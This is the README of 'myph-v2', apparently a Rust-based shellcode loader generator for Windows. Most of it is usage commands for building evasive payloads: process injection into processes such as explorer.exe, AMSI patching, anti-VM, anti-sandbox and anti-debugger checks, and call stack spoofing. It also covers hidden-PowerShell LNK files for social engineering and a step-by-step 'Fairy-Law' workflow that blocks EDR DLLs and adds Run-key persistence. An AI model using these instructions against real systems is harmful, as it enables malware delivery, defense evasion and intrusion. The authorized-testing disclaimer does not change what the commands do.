myph-v2

~ rust shellcode loader with evasive capabilities

git clone https://github.com/djnnvx/myph-v2.git

myph-v2

A modern Rust-based shellcode loader framework with multiple injection techniques and evasion capabilities for Windows environments.

In loving memory of Vasyl Slipak (1974 - 2016) - Wikipedia

Disclaimer

This tool is designed for security research and authorized penetration testing only. Users are responsible for complying with applicable laws and regulations. Misuse of this software for unauthorized access or malicious purposes is strictly prohibited.

Overview

myph-v2 is a sophisticated shellcode loader generator that creates highly evasive Windows executables, DLLs, and shortcut files. It combines multiple injection techniques, encryption algorithms, and anti-analysis features to generate payloads that can bypass modern security solutions.

Key Capabilities

7 Encryption Algorithms: AES-128, AES-256, ChaCha20, Twofish, Camellia-256, Blowfish, and XOR with automatic key derivation
17 Injection Techniques: From classic CreateRemoteThread to advanced syscalls, process hollowing, module stomping, and callback-based execution
Triple Output Formats: Generate PE executables (.exe), DLLs (.dll), and Windows shortcuts (.lnk) with cross-platform support
Evasion Features: API hammering, AMSI patching, string encryption, dynamic function resolution, anti-VM, anti-sandbox, and anti-debugger detection
Binary Optimization: Automatic symbol stripping and size optimization
Cross-Compilation: Build Windows binaries from Linux/macOS

Prerequisites
Installation
Features
Usage
Injection Techniques
Encryption Methods
Low-Resource Build Mode
Development
CI/CD
Architecture
Troubleshooting
Contributing
Legal Notice
Contact

Prerequisites

Rust: Version 1.92.0 or later (rustup.rs)
MinGW-w64: For cross-compilation to Windows (Linux/macOS only)
NASM: Required when using --with-callstack-spoofing (build-time dependency for UWD library)

Installation

# Install Rust
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh

# Linux/macOS: Install cross-compilation tools
sudo apt-get install -y mingw-w64  # Debian/Ubuntu
brew install mingw-w64              # macOS
rustup target add x86_64-pc-windows-gnu

# Install NASM (optional - only needed if using --with-callstack-spoofing)
sudo apt-get install -y nasm        # Debian/Ubuntu
brew install nasm                   # macOS

# Clone and build
git clone https://github.com/djnnvx/myph-v2.git
cd myph-v2
cargo build --release

# Verify
cargo test
./target/release/myph_v2 --help

Features

Encryption Methods

Algorithm	Key Size	Security Level
AES-128	128-bit	High
AES-256	256-bit	High
ChaCha20	256-bit	High
Twofish	256-bit	High
Camellia-256	256-bit	High
Blowfish	32-448 bit	Medium-High
XOR	Variable	Basic

All methods (except XOR) use SHA-256 key derivation with random IV/nonce generation.

Technique Capability Matrix

Technique	Detection Difficulty	Admin Required	Process Injection	Requires Ntdll
crt	Medium		✓
crtx	Medium		✓
create-fiber	Medium-High		Local
process-hollowing	High		✓	✓
nt-create-thread-ex	Medium-High		✓	✓
syscall	Medium		Local	✓
etwp	High		Local
set-timer	High		Local
enum-calendar	High		Local
enum-windows	High		Local
enum-system-locales	High		Local
image-get-digest-stream	High		Local
queue-user-apc	High		Local
fairy-law	Very High	✓	Local
module-stomping	Very High		Local
thread-hijacking	Very High		✓
early-bird	Very High		✓

Legend:

Admin Required: Technique requires administrator privileges
Process Injection: ✓ = Injects into remote process, Local = Executes locally
Requires Ntdll: Uses native NT API functions from ntdll.dll

Note: All techniques are compatible with AMSI patching (--with-amsi-patch), call stack spoofing (--with-callstack-spoofing, requires NASM), and dynamic function resolver (--with-dynamic-function-resolver).

Compatibility Check:

# Check if a technique is compatible with your selected features
myph_v2 --technique <technique> --check-compatibility

# Example: Check if crt works with dynamic resolver
myph_v2 --technique crt --process notepad.exe --with-dynamic-function-resolver --check-compatibility

Output Formats

EXE: Standalone Windows executables
DLL: Dynamic libraries with DllMain execution
LNK: Windows shortcut files (PowerShell-based execution)

Usage

Quick Start

myph_v2 -s shellcode.raw -f output.exe -e aes -t crt

Common Examples

# Process injection with custom target
myph_v2 -s payload.bin -f injector.exe -e aes -t process-hollowing -p notepad.exe

# DLL with evasion features
myph_v2 -s payload.bin -f loader.dll -b dll -e chacha20 -t crtx -p explorer.exe \
  --with-api-hammering --with-amsi-patch

# LNK file for social engineering (PowerShell-based)
myph_v2 -s payload.bin -f document.lnk -b lnk -e aes -t create-fiber

# Callback execution (no injection)
myph_v2 -s payload.bin -f callback.exe -e xor -t enum-calendar --with-amsi-patch

# Maximum evasion
myph_v2 -s payload.bin -f evasive.exe -e aes -t syscall \
  --with-string-encryption --with-dynamic-function-resolver --with-amsi-patch

Options

Required:
  -s, --shellcode <FILE>      Path to raw shellcode file

Output:
  -f, --out <FILE>            Output name [default: out.exe]
  -b, --binary-format <FMT>   Format: exe, dll, lnk [default: exe]

Encryption:
  -e, --encryption <TYPE>     Method: aes, aes256, chacha20, twofish, camellia, xor, blowfish [default: aes]
  -k, --key <KEY>             Encryption key (auto-generated if omitted)

Injection:
  -t, --technique <TECH>      Technique [default: crt]
  -p, --process <PROC>        Target process [default: cmd.exe]

Evasion:
  --with-api-hammering        Enable CPU/IO operations
  --with-amsi-patch           Bypass AMSI
  --with-string-encryption    Encrypt strings at compile-time
  --with-dynamic-function-resolver
                              Runtime API resolution via PEB walk
  --with-anti-vm              Enable anti-VM detection checks
  --with-anti-sandbox         Enable anti-sandbox detection checks
  --with-anti-debugger        Enable anti-debugger detection checks
  --with-callstack-spoofing   Enable call stack spoofing (requires NASM)

Build:
  --low-resources             Use low-resource build profile (for VMs with limited RAM)

Injection Techniques

Process Injection (requires `-p`)

# CreateRemoteThread
myph_v2 -s sc.raw -t crt -p notepad.exe

# NtCreateThreadEx (native API)
myph_v2 -s sc.raw -t nt-create-thread-ex -p svchost.exe

# Process Hollowing
myph_v2 -s sc.raw -t process-hollowing -p cmd.exe

# Thread Hijacking (suspend, modify context, resume)
myph_v2 -s sc.raw -t thread-hijacking -p explorer.exe

# Early Bird APC (inject before main thread starts)
myph_v2 -s sc.raw -t early-bird -p notepad.exe

Local Execution

# Fiber-based
myph_v2 -s sc.raw -t create-fiber

# Module Stomping (overwrite legitimate DLL)
myph_v2 -s sc.raw -t module-stomping

# Callback-based
myph_v2 -s sc.raw -t enum-calendar
myph_v2 -s sc.raw -t image-get-digest-stream

# Direct syscall
myph_v2 -s sc.raw -t syscall

Fairy-Law: EDR Evasion via MicrosoftSignedOnly Policy

Fairy-Law enables the Windows MicrosoftSignedOnly mitigation policy to prevent EDR components from loading. Named after the spell in Fairy Tail anime that only affects enemies while leaving allies unharmed, this technique causes Windows to treat only Microsoft-signed DLLs as "allies" and block all others as "enemies" - including legitimate EDR vendor DLLs.

How It Works:

EDR solutions typically rely on user-mode DLLs (monitoring modules, telemetry collectors, support libraries) signed by the vendor or third-party CAs. When MicrosoftSignedOnly is enabled:

Windows enforces that ONLY Microsoft-signed DLLs may be loaded
Vendor-signed EDR DLLs are rejected by the OS
EDR agents fail to initialize their user-mode components
Telemetry, monitoring, and anti-tamper systems do not start
Policy is applied at kernel Phase 0 and cannot be refreshed at runtime

Requirements:

Must be run with Administrator privileges
System restart required after enabling policy
Operator must manually handle all steps

Usage:

# Generate the binary
myph_v2 -s sc.raw -t fairy-law -e aes

# With evasion features
myph_v2 -s sc.raw -t fairy-law -e chacha20 --with-dynamic-function-resolver

Operator Workflow:

# Step 1: Run as Administrator on target (first execution)
runas /user:Administrator fairy_law.exe
# Output: "MicrosoftSignedOnly policy enabled successfully!"
# Output: "EDR components will be blocked after restart."

# Step 2: Restart the system manually
shutdown /r /t 0

# Step 3: After restart, EDR fails to load vendor DLLs
# Binary auto-runs from startup (or run again manually)
# Payload executes with EDR disabled

# Step 4: Verify EDR failure (optional)
# EDR agents will show errors in Event Viewer:
# "The application was unable to start correctly... DLL is not signed by Microsoft"

Technical Details:

Modifies: HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Kernel\MitigationOptions
Sets MicrosoftSignedOnly bit: 0x00, 0x01, 0x00, 0x00...
Adds persistence: HKCU\Software\Microsoft\Windows\CurrentVersion\Run
Policy applies system-wide at next boot during kernel initialization

Detection Difficulty:

EDR logs will show DLL load failures (after it's too late)
No suspicious process behavior

Warning:

This technique:

Requires Administrator privileges (no automatic UAC)
Modifies system-level security settings
Requires manual system restart
Blocks ALL non-Microsoft DLLs system-wide (may break some applications)
Operator must manually remove policy after testing

LNK Format: Windows Shortcut Delivery

LNK (Windows Shortcut) files provide an alternative delivery mechanism using PowerShell-based shellcode execution. They can be generated on Linux/macOS build environments without requiring PowerShell to be installed.

How It Works:

Generates a PowerShell script with embedded base64-encoded encrypted shellcode
Creates an LNK file that points to PowerShell with hidden window style
When user double-clicks the LNK file, PowerShell executes the script
Script decrypts shellcode and executes it in memory

Usage:

# Basic LNK generation
myph_v2 -s payload.bin -f document.lnk -b lnk -e aes

# With encryption and evasion
myph_v2 -s payload.bin -f report.lnk -b lnk -e chacha20 --with-string-encryption

# Different techniques
myph_v2 -s payload.bin -f file.lnk -b lnk -e xor -t syscall
myph_v2 -s payload.bin -f setup.lnk -b lnk -e aes256 -t create-fiber

Limitations:

PowerShell execution policy must allow script execution
Process injection techniques run as local execution (fallback)
Script Execution Policy Bypass used (-ExecutionPolicy Bypass)
AV/EDR may monitor PowerShell execution

Technical Details:

LNK target: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Arguments: -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -File <script>
PowerShell script stored in: %TEMP%\payload_<UUID>.ps1
Shellcode: Base64-encoded, decrypted at runtime
Memory allocation: PowerShell's [System.Runtime.InteropServices.Marshal]
Icon: Uses shell32.dll (customizable)

Detection Difficulty:

AV/EDR may flag suspicious PowerShell behavior
Consider using --with-string-encryption for better evasion

Encryption Methods

# AES-128 (hardware accelerated)
myph_v2 -s sc.raw -e aes -k "MyPassword"

# AES-256 (strongest AES)
myph_v2 -s sc.raw -e aes256 -k "MyPassword"

# ChaCha20 (fast, no side-channels)
myph_v2 -s sc.raw -e chacha20 -k "StreamKey"

# Twofish (AES finalist, highly secure)
myph_v2 -s sc.raw -e twofish -k "TwofishKey"

# Camellia-256 (international standard)
myph_v2 -s sc.raw -e camellia -k "CamelliaKey"

# Blowfish (proven, variable key)
myph_v2 -s sc.raw -e blowfish -k "BlowKey"

# XOR (fast, testing only)
myph_v2 -s sc.raw -e xor -k "SimpleKey"

String Encryption

Encrypts string literals at compile-time, decrypts at runtime:

myph_v2 -s sc.raw -e aes --with-string-encryption

Dynamic Function Resolution

Runtime API resolution via PEB walk eliminates static IAT entries:

myph_v2 -s sc.raw -e xor --with-dynamic-function-resolver -t create-fiber

Benefits:

No static IAT entries
Encrypted function names
Defeats static analysis
Works with all techniques

Anti-Analysis Detection

Detect and evade virtual machines, sandboxes, and debuggers before execution:

# Anti-VM detection (checks VM artifacts, processes, registry)
myph_v2 -s sc.raw -e aes -t create-fiber --with-anti-vm

# Anti-sandbox detection (checks timing, user interaction, resources)
myph_v2 -s sc.raw -e aes -t syscall --with-anti-sandbox

# Anti-debugger detection (checks debugger presence, breakpoints)
myph_v2 -s sc.raw -e aes -t enum-calendar --with-anti-debugger

# Combine multiple evasion techniques
myph_v2 -s sc.raw -e aes -t module-stomping \
  --with-anti-vm --with-anti-sandbox --with-anti-debugger \
  --with-amsi-patch --with-string-encryption

Call Stack Spoofing

Call stack spoofing uses the UWD library to forge call stacks when executing Windows API calls, making execution appear as if it originated from legitimate system components. This evades analysis, logging, and detection mechanisms that inspect call stacks during execution.

How It Works:

When enabled, the UWD library intercepts API calls and manipulates the call stack to:

Create synthetic stack frames pointing to legitimate system DLLs
Hide the actual origin of API calls from stack walkers
Bypass security solutions that rely on call stack inspection
Support both normal API calls and indirect syscalls

Requirements:

NASM (Netwide Assembler) must be installed at build time
Windows x64 target only
Compatible with both MSVC and GNU toolchains

Usage:

# Basic call stack spoofing
myph_v2 -s sc.raw -e aes -t create-fiber --with-callstack-spoofing

# Combined with dynamic function resolver for maximum evasion
myph_v2 -s sc.raw -e chacha20 -t syscall \
  --with-callstack-spoofing --with-dynamic-function-resolver

# Process injection with spoofed call stacks
myph_v2 -s sc.raw -e aes -t nt-create-thread-ex -p notepad.exe \
  --with-callstack-spoofing --with-amsi-patch

# Maximum evasion configuration
myph_v2 -s sc.raw -e aes256 -t early-bird -p explorer.exe \
  --with-callstack-spoofing \
  --with-dynamic-function-resolver \
  --with-string-encryption \
  --with-amsi-patch \
  --with-anti-vm \
  --with-anti-sandbox \
  --with-anti-debugger

Installation:

# Ubuntu/Debian
sudo apt-get install -y nasm

# macOS
brew install nasm

# Verify installation
nasm --version

Technical Details:

Uses UWD v0.3.5
Inspired by SilentMoonwalk
Supports both Synthetic and Desync spoofing modes
Automatic gadget resolution for stack manipulation
No-std compatible with alloc support

Detection Methods:

Anti-VM: VM DLLs, processes, registry keys, CPU/memory limits, firmware
Anti-Sandbox: Timing analysis, file system checks, uptime, user activity
Anti-Debugger: IsDebuggerPresent, remote debugger, debug port, hardware breakpoints

Low-Resource Build Mode

When running myph-v2 on VMs or systems with limited RAM, the standard build profile may cause out-of-memory errors due to cargo's aggressive optimization settings. The --low-resources flag enables a more memory-efficient build profile.

Standard vs Low-Resource Profile

Setting	Standard	Low-Resource
LTO	Full (`true`)	Thin (`"thin"`)
Codegen Units	1	16
Opt Level	`"z"` (size)	`"s"` (moderate)
Parallel Jobs	Unlimited	2

Usage

# Enable low-resource mode
myph_v2 -s payload.bin -f output.exe -e aes -t create-fiber --low-resources

# Combine with other options
myph_v2 -s payload.bin -f output.exe -e chacha20 -t syscall \
  --with-string-encryption --low-resources

Tradeoffs

Binary size: ~10-30% larger than standard profile
Build time: May be faster due to parallelization
Memory usage: Significantly reduced during compilation
Runtime performance: Negligible difference for typical shellcode loaders

Use this flag when building on resource-constrained environments (VMs, CI runners, containers).

Development

Building

cargo build              # Debug build
cargo build --release    # Optimized build
cargo run -- -s shellcode.raw -f out.exe

Testing

cargo test                    # All tests
cargo test -- --nocapture     # With output
cargo test encryption::       # Specific module

Code Quality

cargo fmt --check    # Check formatting
cargo fmt            # Format code
cargo clippy --all-targets --all-features -- -D warnings
cargo check          # Fast compile check

Debug Mode

Enable code generation debug markers with the MYPH_DEBUG_CODEGEN environment variable:

MYPH_DEBUG_CODEGEN=1 ./myph_v2 -s shellcode.raw -f output.exe -e aes

This adds helpful comments to the generated code showing technique names and code sections:

// === Technique: CreateFiber ===
// --- Imports & Declarations ---
// --- Constants ---
// --- Main Implementation ---

Useful for debugging code generation issues. Has no effect on production builds (comments are removed during compilation).

CI/CD

GitHub Actions runs on every push to stable:

Check: cargo check --verbose
Test: cargo test --verbose (unit tests)
Format: cargo fmt -- --check
Clippy: cargo clippy --all-targets --all-features -- -D warnings
E2E Test: Validates all 13 techniques, 7 encryption methods, and features
Build: cargo build --release --verbose
Windows Integration: Unit tests for PEB walk and API resolution
Windows E2E: Build myph-v2, generate binaries with NOP shellcode, and verify execution

Run locally:

cargo check && cargo test && cargo fmt --check && \
cargo clippy --all-targets --all-features -- -D warnings && \
cargo build --release

Architecture

Code Generation Pipeline

CLI Input → Parse Options → Encrypt Shellcode → Generate Rust Project
→ Cargo Build (optimized, stripped) → Verify Binary → Copy to Output

Design Principles

Code Generation: Creates temporary Rust projects for optimal compilation
Encryption: Proper cryptographic practices with SHA-256 key derivation
Builder Pattern: Type-safe, fluent API for configuration

Troubleshooting

Build Issues

linker 'x86_64-w64-mingw32-gcc' not found

# Install MinGW-w64
sudo apt-get install mingw-w64  # Debian/Ubuntu
brew install mingw-w64           # macOS
rustup target add x86_64-pc-windows-gnu

Failed to read shellcode file

ls -lh shellcode.raw    # Verify file exists
chmod +r shellcode.raw  # Fix permissions

Failed to compile with NASM when using --with-callstack-spoofing

# Install NASM (required for UWD library)
sudo apt-get install -y nasm  # Debian/Ubuntu
brew install nasm             # macOS

# Verify installation
nasm --version

Runtime Issues

Generated binary won't execute on Windows

Check Windows Defender/AV isn't quarantining
Verify correct architecture (x64): file output.exe
Try running as Administrator for injection techniques

Injection fails with "Access Denied"

Run as Administrator
Target less-protected process (e.g., notepad.exe)
Try different injection technique

Contributing

Adding a New Technique

To add a new injection technique:

Create src/internals/templates/techniques/new_technique.rs with the standard pattern:

pub fn new_technique_import() -> String { /* imports */ }
pub fn new_technique_const() -> String { /* constants/externs */ }
pub fn new_technique_init() -> String { /* init code */ }
pub fn new_technique_process() -> String { /* main logic */ }
pub fn generate_new_technique_code(function_name: &str) -> String { /* static version */ }
pub struct NewTechniqueGenerator;
impl TechniqueGenerator for NewTechniqueGenerator { /* trait impl */ }

Use centralized externs from common.rs - don't duplicate VirtualAlloc, VirtualProtect, etc.
Use helpers from codegen_helpers.rs for common patterns like MemoryAllocationBuilder

Export in mod.rs:

pub mod new_technique;
pub use new_technique::NewTechniqueGenerator;

Add unit tests and E2E tests in .github/workflows/ci.yml
Update the technique table in this README

Legal Notice

This tool is provided for educational and authorized security testing purposes only. The authors and contributors are not responsible for misuse or illegal activities conducted with this software. Always obtain explicit written permission before testing against systems you do not own.

Contact

For suggestions or questions, please contact the author directly at https://djnn.sh.

Made with care by djnn

myph-v2

myph-v2

Disclaimer

Overview

Key Capabilities

Table of Contents

Prerequisites

Installation

Installation

Features

Encryption Methods

Technique Capability Matrix

Output Formats

Usage

Quick Start

Common Examples

Options

Injection Techniques

Process Injection (requires -p)

Local Execution

Fairy-Law: EDR Evasion via MicrosoftSignedOnly Policy

LNK Format: Windows Shortcut Delivery

Encryption Methods

String Encryption

Dynamic Function Resolution

Anti-Analysis Detection

Call Stack Spoofing

Low-Resource Build Mode

Standard vs Low-Resource Profile

Usage

Tradeoffs

Development

Building

Testing

Code Quality

Debug Mode

CI/CD

Architecture

Code Generation Pipeline

Design Principles

Troubleshooting

Build Issues

Runtime Issues

Contributing

Adding a New Technique

Legal Notice

Contact

Process Injection (requires `-p`)